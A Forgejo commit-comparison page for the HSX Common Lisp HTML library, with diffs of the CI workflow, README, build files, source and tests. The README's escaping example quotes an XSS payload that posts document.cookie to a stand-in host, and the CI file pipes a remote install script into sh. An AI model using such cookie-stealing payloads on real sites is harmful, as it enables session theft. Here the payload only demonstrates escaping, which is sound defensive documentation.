Compare commits

...

30 commits

Author SHA1 Message Date
22001ef3e2
Add clsx utility 2025-05-19 23:33:22 +09:00
314f7cb273
Add link to usage example 2025-05-18 19:00:35 +09:00
79640a16fa
Amend 2025-04-01 01:36:49 +09:00
91206c9ed0
Amend 2025-03-30 20:25:03 +09:00
bd5f4d749d
Amend 2025-03-30 20:25:03 +09:00
bd136d64af
Update README.md
# Conflicts:
#	README.md
2025-03-30 20:25:02 +09:00
a8424d2598
Update README.md 2025-03-28 15:27:12 +09:00
aa1efe72cd
Add raw-fragment 2025-03-28 14:33:17 +09:00
19baec2ee0
Update author 2025-02-23 14:22:27 +09:00
33d7d981cf
Amend 2025-02-16 00:34:26 +09:00
31a825b033
Migrate from GitHub to Forgejo 2025-01-12 19:03:34 +09:00
a73af8d936 Update description 2024-12-20 23:41:46 +09:00
fa7fc1605e Modify the wording 2024-12-17 16:14:46 +09:00
f60259ec4a Update system version to v0.4.0 2024-12-13 01:37:10 +09:00
4490c74197 Update README 2024-12-13 01:35:31 +09:00
dfc074ec71 Fix defcomp to detect components in HSX 2024-12-13 01:33:01 +09:00
3193054e04 Update README 2024-12-12 14:00:42 +09:00
33dd8e8205 Update system version to v0.3.0 2024-12-12 13:10:14 +09:00
6abb647246 Update README 2024-12-12 13:09:51 +09:00
a170c58530 Improve find-builtin-symbols 2024-12-12 13:08:52 +09:00
011ccd6b2a Update system version 2024-10-19 00:13:33 +09:00
7ce7751900 Use cl-str instead 2024-10-04 08:44:27 +09:00
53a6a8f50e Format 2024-10-03 14:17:16 +09:00
7f276120aa Rename hsx/hsx to hsx/dsl 2024-10-03 11:00:19 +09:00
bc2bc378c7 Format 2024-10-03 10:28:59 +09:00
8c539dc879 Merge hsx/group into hsx/utils 2024-10-03 10:25:30 +09:00
b430b42699 Minify props string 2024-10-03 10:24:56 +09:00
6f8df3e00d Add missing test cases 2024-10-02 15:00:47 +09:00
a071924927
Migrate testing framework from fiveam to rove ()
* Migrate testing framework from fiveam to rove

* Fix qlfile
2024-09-29 02:10:25 +09:00
5945e52207 Update README 2024-08-25 07:50:50 +09:00
22 changed files with 674 additions and 550 deletions

70
.forgejo/workflows/ci.yml Normal file
View file

@ -0,0 +1,70 @@
name: 'CI'
on:
push:
branches:
- 'master'
pull_request:
jobs:
test:
runs-on: docker
strategy:
matrix:
lisp:
- sbcl-bin
steps:
- uses: actions/checkout@v4
- name: Restore cache
id: restore-cache
uses: actions/cache/restore@v4
with:
path: |
~/.roswell
/usr/local/bin/ros
/usr/local/etc/roswell/
qlfile
qlfile.lock
.qlot
~/.cache/common-lisp/
key: roswell-${{ runner.os }}-${{ matrix.lisp }}-${{ hashFiles('qlfile', 'qlfile.lock', '*.asd') }}
- name: Install Roswell
if: steps.restore-cache.outputs.cache-hit != 'true'
env:
LISP: ${{ matrix.lisp }}
run: |
curl -L https://raw.githubusercontent.com/roswell/roswell/master/scripts/install-for-ci.sh | sh
- name: Install Qlot
if: steps.restore-cache.outputs.cache-hit != 'true'
run: |
ros install fukamachi/qlot
- name: Install dependencies
if: steps.restore-cache.outputs.cache-hit != 'true'
run: |
PATH="~/.roswell/bin:$PATH"
qlot install
qlot exec ros install hsx
- name: Save cache
id: save-cache
uses: actions/cache/save@v4
if: steps.restore-cache.outputs.cache-hit != 'true'
with:
path: |
~/.roswell
/usr/local/bin/ros
/usr/local/etc/roswell/
qlfile
qlfile.lock
.qlot
~/.cache/common-lisp/
key: ${{ steps.restore-cache.outputs.cache-primary-key }}
- name: Run tests
run: .qlot/bin/rove hsx.asd

View file

@ -1,4 +1,4 @@
name: 'test' name: 'CI'
on: on:
push: push:
@ -7,15 +7,15 @@ on:
pull_request: pull_request:
jobs: jobs:
tests: test:
runs-on: ubuntu-latest runs-on: ubuntu-latest
strategy: strategy:
matrix: matrix:
lisp: lisp:
- sbcl-bin - sbcl-bin
- ccl-bin - ccl-bin
env: env:
LISP: ${{ matrix.lisp }} LISP: ${{ matrix.lisp }}

View file

@ -1,4 +1,4 @@
Copyright 2024 skyizwhite Copyright 2024 Akira Tempaku
Copyright 2018 Bo Yao Copyright 2018 Bo Yao
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

264
README.md
View file

@ -1,143 +1,185 @@
# HSX # HSX Hypertext S-expression
HSX (Hypertext S-expression) is a simple yet powerful HTML5 generation library for Common Lisp, forked from [flute](https://github.com/ailisp/flute/), originally created by Bo Yao. **HSX** is a simple and powerful HTML generation library for Common Lisp, inspired by JSX. It allows you to write HTML using native Lisp syntax.
## Introduction [Practical usage example](https://github.com/skyizwhite/website)
HSX allows you to generate HTML using S-expressions, providing a more Lisp-friendly way to create web content. By using the `hsx` macro, you can define HTML elements and their attributes in a concise and readable manner. > 🚧 **BETA NOTICE:**
> This library is still in early development. APIs may change.
> See [release notes](https://github.com/skyizwhite/hsx/releases) for details.
## Getting Started ## ⚙️ How HSX Works
### Basic Usage Every tag or component inside an `(hsx ...)` form is transformed into a Lisp expression of the form:
Use the `hsx` macro to create HTML elements. Attributes are specified using a property list following the element name, and child elements are nested directly within. ```lisp
(create-element type props children)
```
For example:
```lisp ```lisp
(hsx (hsx
(div :id "example" :class "container" (article :class "container"
(h1 "Welcome to HSX") (h1 "Title")
(p "This is an example paragraph."))) (p "Paragraph")
(~share-button :service :x))
```
Is internally transformed (by macro expansion) into:
```lisp
(create-element :article
(list :class "container")
(list (create-element :h1
(list)
(list "Title"))
(create-element :p
(list)
(list "Paragraph"))
(create-element #'~share-button
(list :service :x)
(list))))
``` ```
This generates: ## 🚀 Quick Example
```html
<div id="example" class="container">
<h1>Welcome to HSX</h1>
<p>This is an example paragraph.</p>
</div>
```
## Examples
### Dynamic Content
HSX allows embedding Common Lisp code directly within your HTML structure, making it easy to generate dynamic content.
```lisp ```lisp
(hsx (hsx
(div (div :id "main" :class "container"
(p :id (format nil "id-~a" (random 100))) (h1 "Hello, HSX!")
(ul (p "This is a simple paragraph.")))
(loop :for i :from 1 :to 5 :collect (li (format nil "Item ~a" i))))
(if (> (random 10) 5)
(p "Condition met!")
(p "Condition not met!"))))
```
This might generate:
```html
<div>
<p id="id-42"></p>
<ul>
<li>Item 1</li>
<li>Item 2</li>
<li>Item 3</li>
<li>Item 4</li>
<li>Item 5</li>
</ul>
<p>Condition not met!</p>
</div>
```
### Using Fragments
To group multiple elements without adding an extra wrapper, use the fragment `<>`.
```lisp
(hsx
(<>
(h1 "Grouped Elements")
(p "First paragraph.")
(p "Second paragraph.")))
```
This generates:
```html
<h1>Grouped Elements</h1>
<p>First paragraph.</p>
<p>Second paragraph.</p>
```
## Creating Components
You can define reusable components with the `defcomp` macro. Components are functions that can take keyword arguments and properties.
```lisp
(defcomp card (&key title children)
(hsx
(div :class "card"
(h1 title)
children)))
```
Or using a property list:
```lisp
(defcomp card (&rest props)
(hsx
(div :class "card"
(h1 (getf props :title))
(getf props :children))))
```
Usage example:
```lisp
(hsx
(card :title "Card Title"
(p "This is a card component.")))
``` ```
Generates: Generates:
```html ```html
<div class="card"> <div id="main" class="container">
<h1>Card Title</h1> <h1>Hello, HSX!</h1>
<p>This is a card component.</p> <p>This is a simple paragraph.</p>
</div> </div>
``` ```
## Rendering HTML ## 📝 Rendering
To render HSX to an HTML string, use the `render-to-string` function. Use `render-to-string` to convert an HSX structure to a string of HTML:
```lisp ```lisp
(render-to-string (render-to-string
(hsx (hsx ...))
(div :class "content" ```
(h1 "Rendered to String")
(p "This HTML is generated as a string.")))) ## 🔐 Escaping text
All elements automatically escape special characters in content to prevent XSS and HTML injection:
```lisp
(hsx
(div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))
```
Outputs:
```html
<div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>
``` ```
## License Use the special tag `raw!` to inject trusted, unescaped HTML:
This project is licensed under the MIT License. ```lisp
(hsx
(article (raw! "HTML text here ..."))
```
© 2024 skyizwhite ## 🧩 Fragments
© 2018 Bo Yao Use `<>` tag to group multiple sibling elements without wrapping them in a container tag:
Feel free to contribute to the project and report any issues or feature requests on the [GitHub repository](https://github.com/skyizwhite/hsx). ```lisp
(hsx
(<>
(p "One")
(p "Two")))
```
Outputs:
```html
<p>One</p>
<p>Two</p>
```
Note: `raw!` tag is a fragment that disables HTML escaping for its children.
## 🧱 Components
Define reusable components using `defcomp` macro. Component names must start with `~`.
*Keyword-style*
```lisp
(defcomp ~card (&key title children)
(hsx
(div :class "card"
(h2 title)
children)))
```
*Property-list style*
```lisp
(defcomp ~card (&rest props)
(hsx
(div :class "card"
(h2 (getf props :title))
(getf props :children))))
```
### Usage
```lisp
(hsx
(~card :title "Hello"
(p "This is a card.")))
```
Outputs:
```html
<div class="card">
<h2>Hello</h2>
<p>This is a card.</p>
</div>
```
## 🧬 Logic and Interpolation
You can freely embed Lisp expressions, conditionals, and loops inside HSX forms:
```lisp
(hsx
(div
(if (> (random 10) 5)
(hsx (p "High!"))
(hsx (p "Low!")))))
```
Or loop:
```lisp
(hsx
(ul
(loop :for item :in todo-list :collect
(hsx (li item))))))
```
## Utils
- `(clsx &rest strs)`: A utility function for constructing class strings conditionally. It removes `nil` from the string list, then joins the remaining strings with spaces.
## 📄 License
MIT License
© 2024 Akira Tempaku
© 2018 Bo Yao (original [flute](https://github.com/ailisp/flute) project)

View file

@ -1,13 +1,8 @@
(defsystem "hsx-test" (defsystem "hsx-test"
:defsystem-depends-on ("fiveam-asdf") :class :package-inferred-system
:class :package-inferred-fiveam-tester-system
:pathname "tests" :pathname "tests"
:depends-on ("hsx-test/element" :depends-on ("rove"
"hsx-test/hsx" "hsx-test/utils"
"hsx-test/escaper" "hsx-test/element"
"hsx-test/group") "hsx-test/dsl")
:test-names ((#:element-test . #:hsx-test/element) :perform (test-op (o c) (symbol-call :rove :run c :style :dot)))
(#:hsx-test . #:hsx-test/hsx)
(#:escaper-test . #:hsx-test/escaper)
(#:group-test . #:hsx-test/group))
:num-checks 44)

View file

@ -1,8 +1,8 @@
(defsystem "hsx" (defsystem "hsx"
:version "0.1.0" :version "0.6.0"
:description "Hypertext S-expression" :description "Simple and powerful HTML generation library."
:author "skyizwhite, Bo Yao" :author "Akira Tempaku, Bo Yao"
:maintainer "skyizwhite <paku@skyizwhite.dev>" :maintainer "Akira Tempaku <paku@skyizwhite.dev>"
:license "MIT" :license "MIT"
:long-description #.(uiop:read-file-string :long-description #.(uiop:read-file-string
(uiop:subpathname *load-pathname* "README.md")) (uiop:subpathname *load-pathname* "README.md"))

7
qlfile
View file

@ -1,3 +1,6 @@
ql fiveam-asdf
ql alexandria ql alexandria
ql mstrings ql cl-str
git rove https://github.com/fukamachi/rove
git dissect https://github.com/Shinmera/dissect ; workaround
git mstrings https://git.sr.ht/~shunter/mstrings

View file

@ -1,16 +1,24 @@
("quicklisp" . ("quicklisp" .
(:class qlot/source/dist:source-dist (:class qlot/source/dist:source-dist
:initargs (:distribution "https://beta.quicklisp.org/dist/quicklisp.txt" :%version :latest) :initargs (:distribution "https://beta.quicklisp.org/dist/quicklisp.txt" :%version :latest)
:version "2023-10-21")) :version "2024-10-12"))
("fiveam-asdf" .
(:class qlot/source/ql:source-ql
:initargs (:%version :latest)
:version "ql-2023-10-21"))
("alexandria" . ("alexandria" .
(:class qlot/source/ql:source-ql (:class qlot/source/ql:source-ql
:initargs (:%version :latest) :initargs (:%version :latest)
:version "ql-2023-10-21")) :version "ql-2024-10-12"))
("mstrings" . ("cl-str" .
(:class qlot/source/ql:source-ql (:class qlot/source/ql:source-ql
:initargs (:%version :latest) :initargs (:%version :latest)
:version "ql-2023-10-21")) :version "ql-2024-10-12"))
("rove" .
(:class qlot/source/git:source-git
:initargs (:remote-url "https://github.com/fukamachi/rove")
:version "git-cacea7331c10fe9d8398d104b2dfd579bf7ea353"))
("dissect" .
(:class qlot/source/git:source-git
:initargs (:remote-url "https://github.com/Shinmera/dissect")
:version "git-a70cabcd748cf7c041196efd711e2dcca2bbbb2c"))
("mstrings" .
(:class qlot/source/git:source-git
:initargs (:remote-url "https://git.sr.ht/~shunter/mstrings")
:version "git-7a94c070141c7cd03bbd3648b17724c3bf143393"))

View file

@ -1,6 +1,6 @@
(uiop:define-package #:hsx/builtin (uiop:define-package #:hsx/builtin
(:use #:cl) (:use #:cl)
(:import-from #:hsx/hsx (:import-from #:hsx/dsl
#:deftag)) #:deftag))
(in-package #:hsx/builtin) (in-package #:hsx/builtin)
@ -20,4 +20,5 @@
noscript object ol optgroup option output p param picture pre progress noscript object ol optgroup option output p param picture pre progress
q rp rt ruby s samp script section select small source span strong q rp rt ruby s samp script section select small source span strong
style sub summary sup svg table tbody td template textarea tfoot th style sub summary sup svg table tbody td template textarea tfoot th
thead |time| title tr track u ul var video wbr <>) thead |time| title tr track u ul var video wbr
<> raw!)

91
src/dsl.lisp Normal file
View file

@ -0,0 +1,91 @@
(defpackage #:hsx/dsl
(:use #:cl)
(:import-from #:alexandria
#:make-keyword
#:symbolicate)
(:import-from #:hsx/element
#:create-element)
(:export #:hsx
#:deftag
#:defcomp))
(in-package #:hsx/dsl)
;;; hsx macro
(defmacro hsx (form)
"Detect HSX elements and automatically import them."
(detect-elements form))
(defun detect-builtin-element (sym)
(multiple-value-bind (builtin-sym kind)
(find-symbol (string sym) :hsx/builtin)
(and (eq kind :external) builtin-sym)))
(defun start-with-tilde-p (sym)
(string= "~" (subseq (string sym) 0 1)))
(defun detect-component (sym)
(and (start-with-tilde-p sym) sym))
(defun detect-elements (form)
(let* ((head (first form))
(tail (rest form))
(detected-sym (and (symbolp head)
(not (keywordp head))
(or (detect-builtin-element head)
(detect-component head)))))
(if (and (listp tail) detected-sym)
(cons detected-sym
(mapcar (lambda (sub-form)
(if (consp sub-form)
(detect-elements sub-form)
sub-form))
tail))
form)))
;;; defhsx macro
(defmacro defhsx (name element-type)
; Use a macro instead of a function to enable semantic indentation similar to HTML.
`(defmacro ,name (&body body)
`(%create-element ,',element-type ,@body)))
(defun %create-element (type &rest body)
(multiple-value-bind (props children)
(parse-body body)
(create-element type props children)))
(defun parse-body (body)
(cond ((and (listp (first body))
(keywordp (first (first body))))
(values (first body) (rest body)))
((keywordp (first body))
(loop :for thing :on body :by #'cddr
:for (k v) := thing
:when (and (keywordp k) v)
:append (list k v) :into props
:when (not (keywordp k))
:return (values props thing)
:finally (return (values props nil))))
(t (values nil body))))
(defmacro deftag (name)
`(eval-when (:compile-toplevel :load-toplevel :execute)
(defhsx ,name ,(make-keyword name))))
(defmacro defcomp (~name props &body body)
"Define an HSX function component.
The component name must start with a tilde (~).
Component properties must be declared using &key, &rest, or both.
The body of the component must produce a valid HSX element."
(unless (start-with-tilde-p ~name)
(error "The component name must start with a tilde (~~)."))
(unless (or (null props)
(member '&key props)
(member '&rest props))
(error "Component properties must be declared using &key, &rest, or both."))
(let ((%name (symbolicate '% ~name)))
`(eval-when (:compile-toplevel :load-toplevel :execute)
(defun ,%name ,props
,@body)
(defhsx ,~name (fdefinition ',%name)))))

View file

@ -1,17 +1,16 @@
(defpackage #:hsx/element (defpackage #:hsx/element
(:use #:cl) (:use #:cl)
(:import-from #:hsx/escaper (:import-from #:str
#:escape-html-attribute #:collapse-whitespaces)
#:escape-html-text-content) (:import-from #:hsx/utils
(:import-from #:hsx/group #:escape-html-text-content
#:self-closing-tag-p #:escape-html-attribute)
#:non-escaping-tag-p)
(:export #:element (:export #:element
#:tag #:tag
#:html-tag #:html-tag
#:self-closing-tag #:self-closing-tag
#:non-escaping-tag
#:fragment #:fragment
#:raw-fragment
#:component #:component
#:create-element #:create-element
#:element-type #:element-type
@ -21,6 +20,13 @@
#:render-to-string)) #:render-to-string))
(in-package #:hsx/element) (in-package #:hsx/element)
;;; tag group definitions
(deftype self-closing-tag-sym ()
'(member
:area :base :br :col :embed :hr :img :input
:link :meta :param :source :track :wbr))
;;;; class definitions ;;;; class definitions
(defclass element () (defclass element ()
@ -40,21 +46,21 @@
(defclass self-closing-tag (tag) ()) (defclass self-closing-tag (tag) ())
(defclass non-escaping-tag (tag) ())
(defclass fragment (tag) ()) (defclass fragment (tag) ())
(defclass raw-fragment (fragment) ())
(defclass component (element) ()) (defclass component (element) ())
;;;; factory ;;;; factory
(defun create-element (type props children) (defun create-element (type props children)
(make-instance (make-instance
(cond ((functionp type) 'component) (cond ((functionp type) 'component)
((eq type :<>) 'fragment) ((eq type :<>) 'fragment)
((eq type :raw!) 'raw-fragment)
((eq type :html) 'html-tag) ((eq type :html) 'html-tag)
((self-closing-tag-p type) 'self-closing-tag) ((typep type 'self-closing-tag-sym) 'self-closing-tag)
((non-escaping-tag-p type) 'non-escaping-tag)
((keywordp type) 'tag) ((keywordp type) 'tag)
(t (error "element-type must be a keyword or a function."))) (t (error "element-type must be a keyword or a function.")))
:type type :type type
@ -86,7 +92,7 @@
(if children (if children
(format stream (format stream
(if (or (rest children) (if (or (rest children)
(typep (first children) 'element)) (typep (first children) '(and element (not fragment))))
"~@<<~a~a>~2I~:@_~<~@{~a~^~:@_~}~:>~0I~:@_</~a>~:>" "~@<<~a~a>~2I~:@_~<~@{~a~^~:@_~}~:>~0I~:@_</~a>~:>"
"~@<<~a~a>~2I~:_~<~a~^~:@_~:>~0I~_</~a>~:>") "~@<<~a~a>~2I~:_~<~a~^~:@_~:>~0I~_</~a>~:>")
type type
@ -118,18 +124,19 @@
(string-downcase (element-type element))) (string-downcase (element-type element)))
(defmethod render-props ((element tag)) (defmethod render-props ((element tag))
(with-output-to-string (stream) (collapse-whitespaces
(loop (with-output-to-string (stream)
:for (key value) :on (element-props element) :by #'cddr (loop
:do (let ((key-str (string-downcase key))) :for (key value) :on (element-props element) :by #'cddr
(if (typep value 'boolean) :do (let ((key-str (string-downcase key)))
(format stream (if (typep value 'boolean)
"~@[ ~a~]" (format stream
(and value key-str)) "~@[ ~a~]"
(format stream (and value key-str))
" ~a=\"~a\"" (format stream
key-str " ~a=\"~a\""
(escape-html-attribute value))))))) key-str
(escape-html-attribute value))))))))
(defmethod render-children ((element tag)) (defmethod render-children ((element tag))
(mapcar (lambda (child) (mapcar (lambda (child)
@ -138,7 +145,7 @@
child)) child))
(element-children element))) (element-children element)))
(defmethod render-children ((element non-escaping-tag)) (defmethod render-children ((element raw-fragment))
(element-children element)) (element-children element))
(defmethod expand-component ((element component)) (defmethod expand-component ((element component))

View file

@ -1,40 +0,0 @@
(defpackage #:hsx/escaper
(:use #:cl)
(:import-from #:alexandria
#:alist-hash-table)
(:export #:escape-html-attribute
#:escape-html-text-content))
(in-package #:hsx/escaper)
(defparameter *text-content-escape-map*
(alist-hash-table
'((#\& . "&amp;")
(#\< . "&lt;")
(#\> . "&gt;")
(#\" . "&quot;")
(#\' . "&#x27;")
(#\/ . "&#x2F;")
(#\` . "&grave;")
(#\= . "&#x3D;"))))
(defparameter *attribute-escape-map*
(alist-hash-table
'((#\" . "&quot;"))))
(defun escape-char (char escape-map)
(or (gethash char escape-map)
char))
(defun escape-string (string escape-map)
(if (stringp string)
(with-output-to-string (s)
(loop
:for c :across string
:do (write (escape-char c escape-map) :stream s :escape nil)))
string))
(defun escape-html-text-content (text)
(escape-string text *text-content-escape-map*))
(defun escape-html-attribute (text)
(escape-string text *attribute-escape-map*))

View file

@ -1,30 +0,0 @@
(defpackage #:hsx/group
(:use #:cl)
(:import-from #:alexandria
#:make-keyword
#:symbolicate)
(:export #:defgroup
#:self-closing-tag-p
#:non-escaping-tag-p))
(in-package #:hsx/group)
(defun make-keyword-hash-table (symbols)
(let ((ht (make-hash-table)))
(mapcar (lambda (sym)
(setf (gethash (make-keyword sym) ht) t))
symbols)
ht))
(defmacro defgroup (name &body symbols)
(let ((p-name (symbolicate '* name '*)))
`(progn
(defparameter ,p-name (make-keyword-hash-table ',symbols))
(defun ,(symbolicate name '-p) (keyword)
(gethash keyword ,p-name)))))
(defgroup self-closing-tag
area base br col embed hr img input
link meta param source track wbr)
(defgroup non-escaping-tag
script style)

View file

@ -1,73 +0,0 @@
(defpackage #:hsx/hsx
(:use #:cl)
(:import-from #:alexandria
#:make-keyword
#:symbolicate)
(:import-from #:hsx/element
#:create-element)
(:export #:hsx
#:deftag
#:defcomp))
(in-package #:hsx/hsx)
;;;; hsx macro
(defmacro hsx (form)
"Detect built-in HSX elements and automatically import them."
(find-builtin-symbols form))
(defun find-builtin-symbols (node)
(if (atom node)
(or (and (symbolp node)
(not (keywordp node))
(find-symbol (string node) :hsx/builtin))
node)
(cons (find-builtin-symbols (car node))
(mapcar (lambda (n)
(if (listp n)
(find-builtin-symbols n)
n))
(cdr node)))))
;;;; defhsx macro
(defmacro defhsx (name element-type)
`(defmacro ,name (&body body)
`(%create-element ,',element-type ,@body)))
(defun %create-element (type &rest body)
(multiple-value-bind (props children)
(parse-body body)
(create-element type props children)))
(defun parse-body (body)
(cond ((and (listp (first body))
(keywordp (first (first body))))
(values (first body) (rest body)))
((keywordp (first body))
(loop :for thing :on body :by #'cddr
:for (k v) := thing
:when (and (keywordp k) v)
:append (list k v) :into props
:when (not (keywordp k))
:return (values props thing)
:finally (return (values props nil))))
(t (values nil body))))
(defmacro deftag (name)
`(eval-when (:compile-toplevel :load-toplevel :execute)
(defhsx ,name ,(make-keyword name))))
(defmacro defcomp (name props &body body)
"Define a function component for use in HSX.
The props must be declared with either &key or &rest (or both).
The body must return an HSX element."
(unless (or (null props)
(member '&key props)
(member '&rest props))
(error "Component properties must be declared with either &key, &rest, or both."))
(let ((%name (symbolicate '% name)))
`(eval-when (:compile-toplevel :load-toplevel :execute)
(defun ,%name ,props
,@body)
(defhsx ,name (fdefinition ',%name)))))

View file

@ -2,9 +2,11 @@
(:nicknames #:hsx/main) (:nicknames #:hsx/main)
(:use #:cl (:use #:cl
#:hsx/element #:hsx/element
#:hsx/hsx) #:hsx/dsl
#:hsx/utils)
(:import-from #:hsx/builtin) (:import-from #:hsx/builtin)
(:export #:hsx (:export #:hsx
#:defcomp #:defcomp
#:render-to-string)) #:render-to-string
#:clsx))
(in-package :hsx) (in-package :hsx)

46
src/utils.lisp Normal file
View file

@ -0,0 +1,46 @@
(defpackage #:hsx/utils
(:use #:cl)
(:import-from #:alexandria
#:alist-hash-table
#:make-keyword
#:symbolicate)
(:export #:escape-html-attribute
#:escape-html-text-content
#:clsx))
(in-package #:hsx/utils)
(defparameter *text-content-escape-map*
(alist-hash-table
'((#\& . "&amp;")
(#\< . "&lt;")
(#\> . "&gt;")
(#\" . "&quot;")
(#\' . "&#x27;")
(#\/ . "&#x2F;")
(#\` . "&grave;")
(#\= . "&#x3D;"))))
(defparameter *attribute-escape-map*
(alist-hash-table
'((#\" . "&quot;"))))
(defun escape-char (char escape-map)
(or (gethash char escape-map)
char))
(defun escape-string (str escape-map)
(if (stringp str)
(with-output-to-string (out)
(loop
:for c :across str
:do (write (escape-char c escape-map) :stream out :escape nil)))
str))
(defun escape-html-text-content (str)
(escape-string str *text-content-escape-map*))
(defun escape-html-attribute (str)
(escape-string str *attribute-escape-map*))
(defun clsx (&rest strs)
(format nil "~{~a~^ ~}" (remove nil strs)))

79
tests/dsl.lisp Normal file
View file

@ -0,0 +1,79 @@
(defpackage #:hsx-test/dsl
(:use #:cl
#:rove
#:hsx/dsl)
(:import-from #:hsx/builtin)
(:import-from #:hsx/element
#:element-props
#:element-children))
(in-package #:hsx-test/dsl)
(defcomp ~comp1 (&key children)
(hsx (div children)))
(deftest detect-elements-test
(testing "detect-tags"
(ok (expands '(hsx (div div div))
'(hsx/builtin:div div div)))
(ok (expands '(hsx (div (div div (div))))
'(hsx/builtin:div
(hsx/builtin:div
div
(hsx/builtin:div))))))
(testing "detect-components"
(ok (expands '(hsx (~comp1 (div)))
'(~comp1 (hsx/builtin:div)))))
(testing "ignore-malformed-form"
(ok (expands '(hsx (div . div))
'(div . div)))
(ok (expands '(hsx ((div)))
'((div)))))
(testing "ignore-cl-form"
(ok (expands '(hsx (labels ((div () "div"))
(div)))
'(labels ((div () "div"))
(div))))))
(deftest dsl-test
(testing "empty-hsx"
(let ((elm (hsx (div))))
(ok (null (element-props elm)))
(ok (null (element-children elm)))))
(testing "hsx-with-static-props"
(let ((elm (hsx (div :prop1 "value1" :prop2 "value2"))))
(ok (equal '(:prop1 "value1" :prop2 "value2")
(element-props elm)))
(ok (null (element-children elm)))))
(testing "hsx-with-dynamic-props"
(let* ((props '(:prop1 "value1" :prop2 "value2"))
(elm (hsx (div props))))
(ok (equal props (element-props elm)))
(ok (null (element-children elm)))))
(testing "hsx-with-children"
(let ((elm (hsx (div
"child1"
"child2"))))
(ok (null (element-props elm)))
(ok (equal (list "child1" "child2") (element-children elm)))))
(testing "hsx-with-static-props-and-children"
(let ((elm (hsx (div :prop1 "value1" :prop2 "value2"
"child1"
"child2"))))
(ok (equal '(:prop1 "value1" :prop2 "value2")
(element-props elm)))
(ok (equal (list "child1" "child2") (element-children elm)))))
(testing "hsx-with-dynamic-props-and-children"
(let* ((props '(:prop1 "value1" :prop2 "value2"))
(elm (hsx (div props
"child1"
"child2"))))
(ok (equal props (element-props elm)))
(ok (equal (list "child1" "child2") (element-children elm))))))

View file

@ -1,145 +1,154 @@
(defpackage #:hsx-test/element (defpackage #:hsx-test/element
(:use #:cl (:use #:cl
#:fiveam #:rove
#:hsx/element) #:hsx/element)
(:import-from #:named-readtables (:import-from #:named-readtables
#:in-readtable) #:in-readtable)
(:import-from #:mstrings (:import-from #:mstrings
#:mstring-syntax)) #:mstring-syntax))
(in-package #:hsx-test/element) (in-package #:hsx-test/element)
(in-readtable mstring-syntax) (in-readtable mstring-syntax)
(def-suite element-test) (deftest tag-test
(in-suite element-test) (testing "element-class"
(ok (typep (create-element :div nil nil) 'tag))
(ok (typep (create-element :html nil nil) 'html-tag))
(ok (typep (create-element :img nil nil) 'self-closing-tag))
(ok (typep (create-element :<> nil nil) 'fragment))
(ok (typep (create-element (lambda ()) nil nil) 'component))
(ok (signals (create-element "div" nil nil))))
(test element-class (testing "flatten-children"
(is (typep (create-element :div nil nil) 'tag)) (let* ((elm (create-element :p
(is (typep (create-element :html nil nil) 'html-tag)) nil
(is (typep (create-element :img nil nil) 'self-closing-tag)) (list "a"
(is (typep (create-element :style nil nil) 'non-escaping-tag)) nil
(is (typep (create-element :<> nil nil) 'fragment)) (list "b" (list nil "c"))
(is (typep (create-element (lambda ()) nil nil) 'component)) (cons "d" "e")))))
(signals error (create-element "div" nil nil))) (ok (equal (list "a" "b" "c" "d" "e") (element-children elm)))))
(test flatten-children (testing "empty-element"
(let* ((elm (create-element :p (ok (string= "<div></div>"
nil (render-to-string (create-element :div nil nil)))))
(list "a"
nil (testing "element-with-props"
(list "b" (list nil "c")) (ok (string= "<div prop1=\"value1\" prop2></div>"
(cons "d" "e"))))) (render-to-string (create-element :div
(is (equal (list "a" "b" "c" "d" "e") (element-children elm))))) (list :prop1 "value1"
:prop2 t
(test empty-element :prop3 nil)
(is (string= "<div></div>" nil)))))
(render-to-string (create-element :div nil nil)))))
(testing "element-with-children"
(test element-with-props (ok (string= "<p>foo</p>"
(is (string= "<div prop1=\"value1\" prop2></div>" (render-to-string (create-element :p
(render-to-string (create-element :div nil
(list :prop1 "value1" (list "foo"))
:prop2 t :pretty t)))
:prop3 nil) (ok (string= #M"<p>
nil)))))
(test element-with-children
(is (string= "<p>foo</p>"
(render-to-string (create-element :p
nil
(list "foo"))
:pretty t)))
(is (string= #M"<p>
\ <span>foo</span> \ <span>foo</span>
</p>" </p>"
(render-to-string (create-element :p (render-to-string (create-element :p
nil nil
(list (create-element :span (list (create-element :span
nil nil
(list "foo")))) (list "foo"))))
:pretty t))) :pretty t)))
(is (string= #M"<p> (ok (string= #M"<p>
\ foo \ foo
\ <span>bar</span> \ <span>bar</span>
</p>" </p>"
(render-to-string (create-element :p (render-to-string (create-element :p
nil nil
(list "foo" (list "foo"
(create-element :span (create-element :span
nil nil
(list "bar")))) (list "bar"))))
:pretty t)))) :pretty t))))
(test element-with-props-and-children (testing "element-with-props-and-children"
(is (string= "<p prop1=\"value1\" prop2>foo</p>" (ok (string= "<p prop1=\"value1\" prop2>foo</p>"
(render-to-string (create-element :p (render-to-string (create-element :p
(list :prop1 "value1" (list :prop1 "value1"
:prop2 t :prop2 t
:prop3 nil) :prop3 nil)
(list "foo")) (list "foo"))
:pretty t))) :pretty t)))
(is (string= #M"<p prop1=\"value1\" prop2> (ok (string= #M"<p prop1=\"value1\" prop2>
\ foo \ foo
\ <span>bar</span> \ <span>bar</span>
</p>" </p>"
(render-to-string (create-element :p (render-to-string (create-element :p
(list :prop1 "value1" (list :prop1 "value1"
:prop2 t :prop2 t
:prop3 nil) :prop3 nil)
(list "foo" (list "foo"
(create-element :span (create-element :span
nil nil
"bar"))) "bar")))
:pretty t)))) :pretty t))))
(test self-closing-tag (testing "self-closing-tag"
(is (string= "<img src=\"/background.png\">" (ok (string= "<img src=\"/background.png\">"
(render-to-string (create-element :img (render-to-string (create-element :img
(list :src "/background.png") (list :src "/background.png")
nil) nil)
:pretty t)))) :pretty t))))
(testing "fragment"
(test escaping-tag (let ((frg (create-element :<>
